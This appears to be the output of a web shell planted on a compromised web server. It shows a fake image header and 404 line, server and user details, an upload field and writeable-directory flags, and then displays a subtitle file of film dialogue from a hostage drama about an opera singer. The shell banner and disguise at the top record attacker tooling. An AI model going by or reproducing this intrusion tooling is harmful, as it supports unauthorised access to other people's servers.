����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/02-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/upload/subtitle/02-2019/5c61a3660bc0d-1549902694.vtt
WEBVTT

1
00:03:54.937 --> 00:03:56.806
Mr. Hosokawa, we are
very honored to have

2
00:03:56.906 --> 00:03:57.940
you in our country, sir.

3
00:03:58.040 --> 00:04:00.309
I'm honored to be
here, Mr. Vice President.

4
00:04:00.409 --> 00:04:01.476
Thank you, sir.

5
00:04:01.576 --> 00:04:04.213
And please, I say my
apology that the president

6
00:04:04.313 --> 00:04:06.281
was unable to attend.

7
00:04:06.381 --> 00:04:09.451
He was called into
some talks with Israel.

8
00:04:20.562 --> 00:04:23.198
Mr. Hosokawa understands
that affairs of state

9
00:04:23.298 --> 00:04:24.199
must take precedence.

10
00:04:24.299 --> 00:04:25.701
He's a mere businessman.

11
00:04:25.801 --> 00:04:26.836
No, no, no.

12
00:04:26.936 --> 00:04:28.437
And tomorrow I
would like to show

13
00:04:28.537 --> 00:04:30.005
you to some potential
building sites

14
00:04:30.105 --> 00:04:31.707
for a factory.

15
00:04:31.807 --> 00:04:32.207
S .

16
00:04:34.543 --> 00:04:35.811
Ey.

17
00:04:35.911 --> 00:04:38.113
This is Monsieur and Madame
Ambassador of France Thibault.

18
00:04:38.213 --> 00:04:39.949
- What a pleasure.
- Enchante.

19
00:04:40.049 --> 00:04:41.851
Nice to meet you.

20
00:04:41.951 --> 00:04:45.988
And thank you for the presence
of this amazing talent.

21
00:04:46.088 --> 00:04:47.489
Arigato.

22
00:04:53.863 --> 00:04:55.597
Mr. Hosokawa is
grateful for the chance

23
00:04:55.697 --> 00:04:58.033
to hear Ms. Coss in such
an intimate setting.

24
00:04:58.133 --> 00:05:00.202
It is the opportunity
of a lifetime.

25
00:05:00.302 --> 00:05:01.570
The flight?

26
00:05:01.670 --> 00:05:03.105
It was a long and bumpy.

27
00:05:03.205 --> 00:05:04.439
And there are
soldiers everywhere,

28
00:05:04.539 --> 00:05:06.508
waving their guns around.

29
00:05:06.608 --> 00:05:09.311
It's absolutely terrifying.

30
00:05:09.411 --> 00:05:12.915
So Italy, England,
United States.

31
00:05:13.015 --> 00:05:14.283
I mean it.

32
00:05:14.383 --> 00:05:18.320
Italy, England, United States
for the next year at least.

33
00:05:18.420 --> 00:05:19.855
Not even Teatro Col n.

34
00:05:19.955 --> 00:05:20.689
No, I don't care.

35
00:05:20.790 --> 00:05:21.857
I don't care how much they pay.

36
00:05:23.692 --> 00:05:24.093
Hang on.

37
00:05:24.193 --> 00:05:24.593
Yes?

38
00:05:27.696 --> 00:05:28.898
They're ready.

39
00:05:28.998 --> 00:05:30.099
Right, they're...

40
00:05:30.199 --> 00:05:30.766
they're ready.

41
00:05:30.866 --> 00:05:31.901
I'll call you back.

42
00:05:32.001 --> 00:05:33.869
OK, bye.

43
00:05:33.969 --> 00:05:37.072
Good.

44
00:05:37.172 --> 00:05:37.907
Let's get this over with.

45
00:05:46.081 --> 00:05:49.518
In my country, opera
is a sacred thing.

46
00:05:49.618 --> 00:05:50.285
So to...

47
00:06:03.165 --> 00:06:03.698
Gracias.

48
00:06:03.799 --> 00:06:05.234
You look lovely.

49
00:06:05.334 --> 00:06:06.235
Good evening.

50
00:06:06.335 --> 00:06:07.469
Thank you, Miss Coss.

51
00:06:07.569 --> 00:06:07.970
Hola.

52
00:06:08.070 --> 00:06:09.138
Hello.

53
00:06:09.238 --> 00:06:12.407
Mr. Hosokawa, may I
present Ms. Roxanne Coss?

54
00:06:12.507 --> 00:06:13.943
It is a great pleasure.

55
00:06:14.043 --> 00:06:17.880
No, the
pleasure's all mine.

56
00:06:17.980 --> 00:06:20.816
So I understand you would
like to hear Rusalka?

57
00:06:24.686 --> 00:06:27.356
He enjoyed hearing
you sing it in Vienna.

58
00:06:27.456 --> 00:06:29.091
Thank you.

59
00:06:31.160 --> 00:06:33.562
If a human soul
should dream of me,

60
00:06:33.662 --> 00:06:35.330
may he still remember
me on awaking.

61
00:06:35.430 --> 00:06:38.033
Well, that's a poetic thought.

62
00:06:38.133 --> 00:06:40.102
I will finish my
program with it.

63
00:06:41.236 --> 00:06:42.838
You know it's Little Mermaid.

64
00:06:44.206 --> 00:06:45.407
Yes.

65
00:06:45.507 --> 00:06:48.310
But it's opera, so in
the end, everybody dies.

66
00:06:52.247 --> 00:06:53.682
Shall we?

67
00:06:53.782 --> 00:06:56.551
Let's begin.

68
00:07:23.745 --> 00:07:25.147
Sh-sh-sh.

69
00:08:05.087 --> 00:08:05.487
Shh.

70
00:08:14.429 --> 00:08:14.896
Shh.

71
00:08:59.674 --> 00:09:00.542
Translator.

72
00:09:00.642 --> 00:09:01.343
Tr... tr... trans...

73
00:09:02.111 --> 00:09:03.478
S , s , s .

74
00:09:45.320 --> 00:09:46.255
I will never leave you.

75
00:09:46.355 --> 00:09:47.422
I swear.
- Get off.

76
00:09:47.522 --> 00:09:49.091
Get off.
I can't breathe.

77
00:12:04.092 --> 00:12:06.995
Please.

78
00:12:07.095 --> 00:12:08.062
No, No.

79
00:12:08.163 --> 00:12:09.063
I'm all... I'm all right.

80
00:12:09.164 --> 00:12:09.564
I'm...

81
00:12:12.634 --> 00:12:13.034
Please?

82
00:12:21.109 --> 00:12:24.479
Thank you.

83
00:12:24.579 --> 00:12:25.480
Arigato.

84
00:14:41.683 --> 00:14:43.552
Messner.

85
00:14:43.652 --> 00:14:47.556
I'm with International
Committee of the Red Cross.

86
00:14:47.656 --> 00:14:48.056
I'm unarmed.

87
00:14:54.896 --> 00:14:58.500
Are you
sure you want to come in?

88
00:14:58.600 --> 00:15:00.969
Because there's no guarantee
they're going to let you out.

89
00:15:01.069 --> 00:15:02.837
They will let me out.

90
00:15:02.937 --> 00:15:04.873
More hostages is not what
they're looking for now.

91
00:15:11.380 --> 00:15:11.746
In!

92
00:15:32.033 --> 00:15:33.402
Who are you?

93
00:15:33.502 --> 00:15:35.737
Messner.

94
00:15:35.837 --> 00:15:37.872
I'm Swiss.

95
00:15:44.212 --> 00:15:45.547
I speak a little English.

96
00:15:45.647 --> 00:15:46.748
My comrades do not.

97
00:15:46.848 --> 00:15:48.016
I have a translator outside.

98
00:15:48.116 --> 00:15:50.419
No, no one else.

99
00:15:50.519 --> 00:15:52.721
We have a translator.

100
00:15:52.821 --> 00:15:55.256
Wait.

101
00:15:55.356 --> 00:15:57.125
Translator!

102
00:16:10.238 --> 00:16:12.273
You will translate?

103
00:16:12.373 --> 00:16:12.774
English?

104
00:16:12.874 --> 00:16:13.542
French?

105
00:16:13.642 --> 00:16:14.509
Do you have a preference?

106
00:16:14.609 --> 00:16:17.412
No preference.

107
00:16:17.512 --> 00:16:19.781
What we want, of course,
is the unconditional release

108
00:16:19.881 --> 00:16:21.716
of all the hostages.

109
00:16:21.816 --> 00:16:22.517
Unharmed.

110
00:16:29.658 --> 00:16:31.493
Send in President Masuda.

111
00:16:31.593 --> 00:16:33.595
They came for the
president and will release

112
00:16:33.695 --> 00:16:35.129
everyone in exchange for him.

113
00:16:35.229 --> 00:16:36.698
They won't give
you the president.

114
00:16:36.798 --> 00:16:38.933
That's who we came here for.

115
00:16:39.033 --> 00:16:42.437
Well, I came here
on vacation to relax.

116
00:16:42.537 --> 00:16:44.473
It seems like no one is
going to get what they want.

117
00:16:50.745 --> 00:16:52.413
Someone needs to
sew up that cut.

118
00:16:52.514 --> 00:16:53.682
I'm going to call in a medic.
- No!

119
00:16:53.782 --> 00:16:54.282
No medics!

120
00:16:54.382 --> 00:16:55.249
No sewing.

121
00:16:57.519 --> 00:16:59.420
It was never a
pretty face anyway.

122
00:16:59.521 --> 00:17:01.990
Nothing will proceed if
this man bleeds to death.

123
00:17:21.342 --> 00:17:23.444
IS there a doctor here?

124
00:17:23.545 --> 00:17:24.345
There must be a doctor.

125
00:17:44.966 --> 00:17:47.502
We only have five minutes.

126
00:17:47.602 --> 00:17:48.269
Don't worry.

127
00:17:48.369 --> 00:17:50.839
I'm trained at first aid.

128
00:17:55.209 --> 00:17:56.611
One, two.

129
00:17:59.180 --> 00:18:00.081
I'm sorry.

130
00:18:23.572 --> 00:18:24.472
No.

131
00:18:24.573 --> 00:18:25.473
No.

132
00:18:30.545 --> 00:18:31.445
No.

133
00:18:31.546 --> 00:18:34.916
Ay, no.

134
00:19:26.367 --> 00:19:29.237
All of you, lay down.

135
00:19:29.337 --> 00:19:31.572
I don't lie down.

136
00:19:31.673 --> 00:19:32.941
I wait outside.

137
00:19:33.041 --> 00:19:34.475
Get your demands ready.

138
00:19:34.575 --> 00:19:37.578
I'll be back in an hour.

139
00:20:21.155 --> 00:20:23.224
Yes, I'm coming.

140
00:20:58.559 --> 00:21:02.731
We let you have
the woman, workers,

141
00:21:02.831 --> 00:21:04.733
priests, anyone who's sick.

142
00:21:09.370 --> 00:21:12.006
The first page are
things we need.

143
00:21:12.106 --> 00:21:14.675
The second one is to
be read to the press...

144
00:21:14.776 --> 00:21:15.877
our demands.

145
00:21:15.977 --> 00:21:18.713
"All political prisoners
held in the government's

146
00:21:18.813 --> 00:21:21.049
illegal jails must be freed."

147
00:21:21.149 --> 00:21:21.850
All of them.

148
00:21:21.950 --> 00:21:24.485
All of them.

149
00:21:29.223 --> 00:21:31.459
GEN: They are their
brothers and sisters.

150
00:21:31.559 --> 00:21:35.029
They are prepared
to die for them.

151
00:21:35.129 --> 00:21:37.098
No one has to die.

152
00:21:37.198 --> 00:21:40.769
Well, we all have to someday.

153
00:21:40.869 --> 00:21:43.604
But as far as right now,
it is up to the government.

154
00:21:43.704 --> 00:21:47.575
If there is blood, it
will be on their hands.

155
00:21:53.948 --> 00:21:57.251
We ask you all to stand
up and approach, please.

156
00:22:08.362 --> 00:22:13.734
The women to the far right of
the room, men to the far left.

157
00:22:34.655 --> 00:22:36.024
What's wrong with you?

158
00:22:36.124 --> 00:22:36.958
Insulin.

159
00:22:37.058 --> 00:22:38.059
My insulin is back at the hotel.

160
00:22:38.159 --> 00:22:38.993
You're diabetic?

161
00:22:39.093 --> 00:22:39.527
Yeah.

162
00:22:39.627 --> 00:22:40.328
Help!

163
00:22:40.428 --> 00:22:42.163
Help!

164
00:22:42.263 --> 00:22:42.897
We need help!

165
00:22:42.997 --> 00:22:44.833
This man is sick.

166
00:22:44.933 --> 00:22:45.466
He's sick.

167
00:22:45.566 --> 00:22:46.200
He needs medicine.

168
00:22:52.173 --> 00:22:52.974
OK.

169
00:22:53.074 --> 00:22:54.342
OK, it's OK.

170
00:22:54.442 --> 00:22:55.709
It's OK.
- It's OK.

171
00:22:55.810 --> 00:22:56.377
No, it's not.

172
00:22:56.477 --> 00:22:57.078
Come on.

173
00:23:47.962 --> 00:23:51.065
All right, we're
going to move out now.

174
00:23:51.165 --> 00:23:52.500
Women first.

175
00:23:52.600 --> 00:23:54.502
Follow me.

176
00:23:57.538 --> 00:24:00.641
MESSNER: Calm and quiet.

177
00:24:00.741 --> 00:24:01.876
Everything's going
to be all right.

178
00:24:01.976 --> 00:24:02.376
Move on.

179
00:24:05.713 --> 00:24:06.580
Let's go.

180
00:24:26.567 --> 00:24:27.435
Hey!

181
00:25:06.540 --> 00:25:08.442
Remain calm.

182
00:25:08.542 --> 00:25:09.510
Move on.

183
00:25:09.610 --> 00:25:10.378
What... what are you doing?

184
00:25:10.478 --> 00:25:12.080
We're all going to get out.

185
00:25:12.180 --> 00:25:12.913
Remain calm.

186
00:25:17.151 --> 00:25:19.988
You OK?

187
00:25:20.088 --> 00:25:23.057
It's OK, it's OK.

188
00:25:23.157 --> 00:25:23.691
Go in the bus.

189
00:25:23.791 --> 00:25:24.392
Go in the bus!

190
00:25:24.492 --> 00:25:26.094
Please, go into the bus!

191
00:25:26.194 --> 00:25:26.660
Thank you.

192
00:25:26.760 --> 00:25:27.295
All in the bus.

193
00:25:27.395 --> 00:25:28.029
Where's Roxanne?

194
00:25:31.565 --> 00:25:33.234
Hey, hey, hey!

195
00:25:33.334 --> 00:25:34.468
She's not outside!

196
00:25:34.568 --> 00:25:36.971
Roxanne Coss is not outside!

197
00:25:37.071 --> 00:25:38.072
Roxanne!

198
00:25:38.172 --> 00:25:38.706
Where is she?

199
00:25:41.475 --> 00:25:42.310
Roxanne!

200
00:25:47.248 --> 00:25:48.882
No!

201
00:25:51.452 --> 00:25:52.820
Let me back in!

202
00:25:52.920 --> 00:25:54.288
Let me back in!

203
00:25:54.388 --> 00:25:55.756
Call an ambulance!

204
00:25:58.759 --> 00:25:59.160
OK.

205
00:25:59.260 --> 00:26:00.628
It's OK.

206
00:26:00.728 --> 00:26:01.129
It's OK.

207
00:26:01.229 --> 00:26:02.096
You're OK.

208
00:26:08.069 --> 00:26:09.037
Catholic?

209
00:26:09.137 --> 00:26:10.704
I... I... I don't know.

210
00:26:10.804 --> 00:26:11.705
I... I don't know.

211
00:26:11.805 --> 00:26:12.906
He's... he's Norwegian.

212
00:26:14.308 --> 00:26:15.409
I never asked him.

213
00:26:16.177 --> 00:26:17.211
Me?

214
00:26:17.311 --> 00:26:18.312
S , cat lica.

215
00:26:18.412 --> 00:26:19.880
I was... I was brought
up Catholic, but I...

216
00:26:19.980 --> 00:26:20.814
I don't know about him.

217
00:26:20.914 --> 00:26:22.016
I just... I just work with him.

218
00:26:22.116 --> 00:26:22.683
I don't...

219
00:26:29.457 --> 00:26:31.559
You're giving him last rites?

220
00:27:33.554 --> 00:27:37.658
The singer has to come
out now, Mr. Watanabe.

221
00:27:38.892 --> 00:27:39.693
No!

222
00:27:42.996 --> 00:27:44.765
No, only if the
president comes.

223
00:27:44.865 --> 00:27:46.567
You said all women.

224
00:27:46.667 --> 00:27:48.669
How can I continue negotiating
if I cannot trust you?

225
00:27:48.769 --> 00:27:51.305
Listen, Red Cross.

226
00:27:51.405 --> 00:27:52.773
We are not on the same side.

227
00:27:52.873 --> 00:27:54.375
I never take sides.

228
00:27:54.475 --> 00:27:55.976
Then you are on
the side of power.

229
00:27:56.076 --> 00:27:57.978
You're the one carrying a gun.

230
00:27:58.078 --> 00:28:00.681
You have the power in
here, so let her go.

231
00:28:00.781 --> 00:28:01.815
Please.

232
00:28:01.915 --> 00:28:03.551
I said no.

233
00:28:03.651 --> 00:28:06.120
We need her now
more than before.

234
00:28:06.220 --> 00:28:06.754
She stays.

235
00:28:10.124 --> 00:28:10.591
Hey.

236
00:28:19.800 --> 00:28:21.669
Here's some antibiotics.

237
00:28:21.769 --> 00:28:23.404
You should take them.

238
00:28:23.504 --> 00:28:24.872
OK.

239
00:28:24.972 --> 00:28:25.973
Gracias.

240
00:28:26.073 --> 00:28:27.841
I... I... I... I don't
think they should have

241
00:28:27.941 --> 00:28:30.178
brought in the food like this.

242
00:28:30.278 --> 00:28:32.346
They could have made
two separate trips out...

243
00:28:32.446 --> 00:28:33.581
out of respect.

244
00:28:33.681 --> 00:28:35.949
They don't have any respect
for anything or anyone.

245
00:28:36.049 --> 00:28:36.684
They're not human.

246
00:28:40.188 --> 00:28:42.790
I will try and get you out
of here as soon as possible.

247
00:28:42.890 --> 00:28:43.791
Thank you.

248
00:30:13.247 --> 00:30:15.249
My employer,
Mr. Hosokawa, asks

249
00:30:15.349 --> 00:30:18.519
me to offer his condolences.

250
00:30:18.619 --> 00:30:21.221
He wanted me to tell you
that your accompanist

251
00:30:21.322 --> 00:30:23.291
was very talented.

252
00:30:23.391 --> 00:30:25.493
That's very kind of him.

253
00:30:25.593 --> 00:30:28.228
Will you say his name for
me again, your employer.

254
00:30:28.329 --> 00:30:29.397
Mister?

255
00:30:29.497 --> 00:30:31.332
Hosokawa.

256
00:30:31.432 --> 00:30:35.769
He feels responsible for all
that's happening right now.

257
00:30:35.869 --> 00:30:36.737
No, he didn't shoot anyone.

258
00:30:43.911 --> 00:30:45.913
Mr. Hosokawa?

259
00:30:46.013 --> 00:30:50.217
Gen tells me you feel,
in some way, responsible.

260
00:30:50.318 --> 00:30:52.853
You're not.

261
00:30:58.959 --> 00:31:00.961
He came to hear
you sing in exchange

262
00:31:01.061 --> 00:31:05.633
for building a factory here,
which he never intended to do.

263
00:31:10.338 --> 00:31:13.541
It was a vanity to accept
a gift of a private concert

264
00:31:13.641 --> 00:31:14.975
by such a great artist.

265
00:31:22.483 --> 00:31:24.952
He's always
moved by your work.

266
00:31:25.052 --> 00:31:28.221
He's heard you sing at La
Scala, London, and New York.

267
00:31:28.322 --> 00:31:30.491
He must love opera.

268
00:31:30.591 --> 00:31:30.991
Yeah.

269
00:31:37.831 --> 00:31:40.368
GEN: For him, your
voice is opera.

270
00:31:47.575 --> 00:31:49.477
He feels responsible for
your accompanist's death.

271
00:31:49.577 --> 00:31:50.811
No, no, no.

272
00:31:50.911 --> 00:31:52.212
No.

273
00:31:52.312 --> 00:31:56.750
Please, I sing at many,
many private parties

274
00:31:56.850 --> 00:31:58.085
all over the world.

275
00:31:58.185 --> 00:32:00.454
With all due respect, I didn't
come here to sing for you.

276
00:32:00.554 --> 00:32:02.423
I came because they paid me.

277
00:32:05.493 --> 00:32:08.929
If anything, I'm to blame.

278
00:32:09.029 --> 00:32:10.998
I turned down this engagement
several times till they

279
00:32:11.098 --> 00:32:12.633
came up with enough money.

280
00:32:17.471 --> 00:32:20.574
No, no, no, believe me,
I am very capable of blame.

281
00:32:20.674 --> 00:32:22.610
I just don't blame you.

282
00:32:40.227 --> 00:32:40.828
What is it?

283
00:32:40.928 --> 00:32:41.361
Meat.

284
00:32:42.262 --> 00:32:43.464
No, no, no.

285
00:32:43.564 --> 00:32:45.466
Yeah, I could see that it's
meat, but what kind is it?

286
00:32:45.566 --> 00:32:46.299
I don't know.

287
00:32:46.400 --> 00:32:47.468
It's probably better not to ask.

288
00:34:42.650 --> 00:34:43.551
Gracias.

289
00:35:24.091 --> 00:35:27.027
Dah, dah, dah, dah,
dah, dah, dah, dah!

290
00:35:27.127 --> 00:35:27.527
Pah!

291
00:35:27.628 --> 00:35:28.562
Pah, pah!

292
00:36:37.898 --> 00:36:39.432
No!

293
00:36:40.934 --> 00:36:43.036
Thank you.

294
00:36:43.136 --> 00:36:45.906
Gracias.

295
00:36:46.006 --> 00:36:49.309
The government has turned
off the water to the house

296
00:36:49.409 --> 00:36:52.913
to make things more
uncomfortable for us.

297
00:36:53.914 --> 00:36:55.716
I gathered that.

298
00:36:55.816 --> 00:36:59.252
We need water.

299
00:36:59.352 --> 00:37:00.921
My comrade, Comandante
Alfredo, wants

300
00:37:01.021 --> 00:37:03.891
to shoot someone just to
show the government who

301
00:37:03.991 --> 00:37:05.392
is in charge.

302
00:37:05.492 --> 00:37:07.127
But I have another thought.

303
00:37:07.227 --> 00:37:07.928
What's that?

304
00:37:08.028 --> 00:37:10.397
I want you to sing.

305
00:37:10.497 --> 00:37:13.734
I want you to sing loudly enough
that these animals outside

306
00:37:13.834 --> 00:37:14.802
can hear it.

307
00:37:14.902 --> 00:37:16.503
What good would that do?

308
00:37:16.603 --> 00:37:21.408
It might remind
them what is at stake.

309
00:37:21.508 --> 00:37:23.677
Ha.

310
00:37:23.777 --> 00:37:24.712
No.

311
00:37:24.812 --> 00:37:25.679
I won't sing.

312
00:37:25.779 --> 00:37:27.214
Not for you.

313
00:37:30.017 --> 00:37:32.686
He says to do
what you are told.

314
00:37:32.786 --> 00:37:33.921
Or what?

315
00:37:34.021 --> 00:37:35.188
You'll shoot me?

316
00:37:35.288 --> 00:37:40.627
You've kept one woman, one
American, una americana.

317
00:37:40.728 --> 00:37:42.830
If you shoot me, what
do you think will

318
00:37:42.930 --> 00:37:44.998
happen to you and your people?

319
00:37:45.098 --> 00:37:46.333
I don't think I need
to do what you say.

320
00:37:55.876 --> 00:37:59.713
Madame Coss, we will not
last long here without water,

321
00:37:59.813 --> 00:38:01.982
but we will not surrender.

322
00:38:02.082 --> 00:38:06.253
We need to free our
brothers and sisters.

323
00:38:06.353 --> 00:38:08.655
We here are all they have.

324
00:38:08.756 --> 00:38:12.760
So please, sing.

325
00:38:12.860 --> 00:38:14.962
When they hear the
beauty of your voice,

326
00:38:15.062 --> 00:38:18.631
these government criminals,
perhaps they will find

327
00:38:18.732 --> 00:38:22.169
a solution to our situation.

328
00:38:22.269 --> 00:38:24.537
Where'd you learn English?

329
00:38:24.637 --> 00:38:28.575
At university.

330
00:38:28.675 --> 00:38:30.210
I'm a teacher.

331
00:38:30.310 --> 00:38:32.846
I was a teacher.

332
00:38:32.946 --> 00:38:35.115
History.

333
00:38:35.215 --> 00:38:37.017
Once upon a time.

334
00:38:41.889 --> 00:38:45.793
I've never gone a week without
singing unless I was sick.

335
00:38:45.893 --> 00:38:49.196
I'm going to have to
start practicing soon.

336
00:38:49.296 --> 00:38:51.865
I just don't want to give
them the satisfaction.

337
00:38:51.965 --> 00:38:57.404
Mr. Hosokawa, what do you think?

338
00:38:57.504 --> 00:38:59.339
You think I should sing?

339
00:39:09.917 --> 00:39:13.120
He says your voice
never belonged to them.

340
00:39:23.430 --> 00:39:28.168
Do either of you
play the piano?

341
00:39:28.268 --> 00:39:31.238
No.

342
00:39:31.338 --> 00:39:33.106
When did you first
listen to opera?

343
00:39:37.710 --> 00:39:40.380
When he was a child,
his father took him.

344
00:39:42.482 --> 00:39:44.717
And when did
you start singing?

345
00:39:44.818 --> 00:39:47.054
I don't know.

346
00:39:47.154 --> 00:39:48.155
I don't remember.

347
00:39:48.255 --> 00:39:50.257
My mother said that
I was always singing.

348
00:39:58.065 --> 00:39:58.832
Excuse me?

349
00:39:58.932 --> 00:39:59.666
Yes?

350
00:39:59.766 --> 00:40:02.903
Do you know how to play piano?

351
00:40:03.003 --> 00:40:06.073
Tell the Red Cross
to send in a teacher,

352
00:40:06.173 --> 00:40:07.607
and I will learn for her.

353
00:40:07.707 --> 00:40:09.576
Yes.
Thank you.

354
00:40:09.676 --> 00:40:13.246
I would just sing, you know,
all day and... and all night.

355
00:40:13.346 --> 00:40:17.117
It was like a language
that I could speak.

356
00:40:17.217 --> 00:40:20.253
And then when I was
seven, my mother

357
00:40:20.353 --> 00:40:21.989
found a teacher for me, and...

358
00:40:22.089 --> 00:40:23.456
and that was it.

359
00:40:25.492 --> 00:40:26.793
And what about you?

360
00:40:26.894 --> 00:40:31.899
Um, when did you, um,
learn to do what you do?

361
00:40:37.905 --> 00:40:40.440
I started engineer.

362
00:40:41.308 --> 00:40:43.110
OK.

363
00:40:43.210 --> 00:40:43.944
Did you draw that?

364
00:40:44.044 --> 00:40:45.245
From window.

365
00:40:45.345 --> 00:40:47.247
Yes, yes, I'm very impressed.

366
00:40:47.347 --> 00:40:48.248
Monsieur Thibault?

367
00:40:48.348 --> 00:40:48.882
Oui.

368
00:40:50.717 --> 00:40:52.185
Yes.

369
00:40:52.285 --> 00:40:52.986
A little.

370
00:41:18.545 --> 00:41:19.446
Bravo!

371
00:41:19.546 --> 00:41:20.147
Bravo!

372
00:41:22.549 --> 00:41:23.951
Thank you.

373
00:41:24.051 --> 00:41:24.952
Thank you.

374
00:41:34.527 --> 00:41:35.595
Buenos d as.

375
00:41:40.667 --> 00:41:43.670
Gracias.

376
00:42:06.726 --> 00:42:07.995
You bought this?

377
00:42:08.095 --> 00:42:08.628
What?

378
00:42:08.728 --> 00:42:09.929
You bought this?

379
00:42:10.030 --> 00:42:12.532
No, they gave it to me.

380
00:42:12.632 --> 00:42:14.167
And the news stations?

381
00:42:14.267 --> 00:42:15.068
They've been all alerted.

382
00:42:24.111 --> 00:42:26.546
Why are you helping them?

383
00:42:26.646 --> 00:42:30.017
Because you need water, and
I don't want anyone else to get

384
00:42:30.117 --> 00:42:30.517
killed.

385
00:42:35.989 --> 00:42:38.091
Hey!

386
00:42:38.858 --> 00:42:39.859
Por favor.

387
00:42:39.959 --> 00:42:41.394
No.

388
00:42:44.064 --> 00:42:45.465
Mister, over here, please.

389
00:43:01.414 --> 00:43:05.185
Don't shoot.

390
00:43:05.285 --> 00:43:08.721
Do not shoot.

391
00:43:08.821 --> 00:43:10.890
You sure they won't shoot?

392
00:43:10.990 --> 00:43:13.826
Not everyone likes opera.

393
00:43:20.067 --> 00:43:22.402
Holy shit.

394
00:43:25.472 --> 00:43:27.807
I don't need that.

395
00:43:27.907 --> 00:43:28.608
No es bueno.

396
00:43:59.939 --> 00:44:01.108
I want to start over.

397
00:44:01.208 --> 00:44:02.109
What happened?

398
00:44:02.209 --> 00:44:03.443
I haven't sung in a week.

399
00:44:03.543 --> 00:44:05.245
I would like to start over.

400
00:44:05.345 --> 00:44:06.279
Are you able to do it?

401
00:44:06.379 --> 00:44:07.880
Yes, if you stop talking.

402
00:45:26.259 --> 00:45:29.462
That was one of the more
unique concerts I've attended.

403
00:45:41.808 --> 00:45:45.612
How did I do?

404
00:46:28.755 --> 00:46:32.725
Look at her, Gen. She's
staring right at you.

405
00:46:32.825 --> 00:46:35.862
I would like to speak to her.

406
00:46:35.962 --> 00:46:37.330
You'll be my translator.

407
00:46:42.835 --> 00:46:44.771
Do you speak Spanish?

408
00:46:44.871 --> 00:46:47.073
He's quite good at it.

409
00:47:11.831 --> 00:47:12.665
MAN: Carmen!

410
00:47:15.602 --> 00:47:19.772
Nice asking her
about the music.

411
00:47:27.447 --> 00:47:30.350
Madame Coss.

412
00:47:30.450 --> 00:47:33.252
I want to say thank
you for your help.

413
00:47:33.353 --> 00:47:37.790
Well, if you'd really like to
thank me, you could release me.

414
00:47:37.890 --> 00:47:40.092
And everyone else.

415
00:47:40.192 --> 00:47:42.362
I'm afraid I can't.

416
00:47:42.462 --> 00:47:48.267
But I can give you some more
comfortable accommodations.

417
00:48:04.584 --> 00:48:04.984
Hola.

418
00:48:08.355 --> 00:48:09.255
Por favor.

419
00:48:17.830 --> 00:48:22.101
I sang for my supper,
and this is my reward.

420
00:48:22.201 --> 00:48:25.071
Um,

421
00:48:27.039 --> 00:48:27.874
Carmen.

422
00:48:27.974 --> 00:48:29.342
Carmen.

423
00:48:29.442 --> 00:48:30.943
Um.

424
00:48:31.043 --> 00:48:33.546
Roxanne.

425
00:48:39.952 --> 00:48:41.320
Gracias.

426
00:48:41.421 --> 00:48:42.288
This is nice.

427
00:48:47.226 --> 00:48:48.194
Well.

428
00:48:48.294 --> 00:48:50.563
Um, it was nice...

429
00:48:50.663 --> 00:48:52.832
nice talking to you.

430
00:48:52.932 --> 00:48:54.867
Adios, Carmen.

431
00:48:54.967 --> 00:48:55.368
Gracias.

432
00:49:01.207 --> 00:49:02.341
Shall we get Gen?

433
00:49:02.442 --> 00:49:03.342
What's in the box?

434
00:49:03.443 --> 00:49:05.445
Sheet music and
lotion for Miss Coss.

435
00:49:05.545 --> 00:49:06.613
Playing cards.

436
00:49:09.716 --> 00:49:10.483
What the hell is going on?

437
00:49:27.567 --> 00:49:29.936
Are you CIA?

438
00:49:31.538 --> 00:49:32.939
What are you?

439
00:49:33.039 --> 00:49:34.807
I'm an idiot!

440
00:49:34.907 --> 00:49:35.842
That's what I am.

441
00:49:39.378 --> 00:49:41.247
I'm just a fucking
idiot spending

442
00:49:41.347 --> 00:49:45.918
his own life running back and
forth between people with guns!

443
00:49:46.018 --> 00:49:47.820
You think I knew about this?

444
00:49:47.920 --> 00:49:49.889
You think they tell me anything?

445
00:49:49.989 --> 00:49:51.157
They tell me nothing.

446
00:49:51.257 --> 00:49:51.958
Find someone else.

447
00:49:52.058 --> 00:49:53.660
Just find someone else!

448
00:50:27.193 --> 00:50:28.294
I found this in my room.

449
00:50:28.394 --> 00:50:30.630
I thought you might like it.

450
00:50:30.730 --> 00:50:32.331
No, no, I don't
really know how,

451
00:50:32.431 --> 00:50:33.933
and I hate being bad at things.

452
00:50:34.033 --> 00:50:36.168
So you play.

453
00:50:38.771 --> 00:50:39.171
Um.

454
00:50:42.675 --> 00:50:43.576
No.
No.

455
00:50:43.676 --> 00:50:44.677
Um.

456
00:50:48.047 --> 00:50:52.418
You're going to make
me learn, aren't you?

457
00:50:52.519 --> 00:50:53.385
Queen.

458
00:50:53.486 --> 00:50:55.755
OK.

459
00:50:55.855 --> 00:50:57.624
OK.

460
00:50:57.724 --> 00:50:58.958
This is going to take forever.

461
00:50:59.058 --> 00:51:00.426
Yeah.

462
00:52:33.352 --> 00:52:36.088
Shh.

463
00:54:01.473 --> 00:54:03.342
S .

464
00:54:56.628 --> 00:54:59.031
Knight, horse.

465
00:54:59.131 --> 00:54:59.999
Jumping.

466
00:55:00.099 --> 00:55:00.632
He can jump.

467
00:55:00.733 --> 00:55:01.934
So can I go...

468
00:55:02.634 --> 00:55:03.035
...Like that?

469
00:55:03.135 --> 00:55:04.003
No.

470
00:55:16.348 --> 00:55:18.751
Are you married?

471
00:55:18.851 --> 00:55:21.754
Are you married?

472
00:55:21.854 --> 00:55:22.254
Muy bien.

473
00:55:32.098 --> 00:55:35.467
Clumsy.

474
00:55:47.980 --> 00:55:50.850
One, two.

475
00:56:14.373 --> 00:56:17.309
Married you?

476
00:56:17.409 --> 00:56:19.711
Are you learning English?

477
00:56:24.116 --> 00:56:26.485
Bien.

478
00:56:26.585 --> 00:56:29.455
Well, I've been married twice.

479
00:56:29.555 --> 00:56:33.459
The first time I was very
young, and the marriage

480
00:56:33.559 --> 00:56:37.796
lasted four months.

481
00:56:37.897 --> 00:56:42.835
The second time, I married
my business manager.

482
00:56:42.935 --> 00:56:46.472
It was not a very good
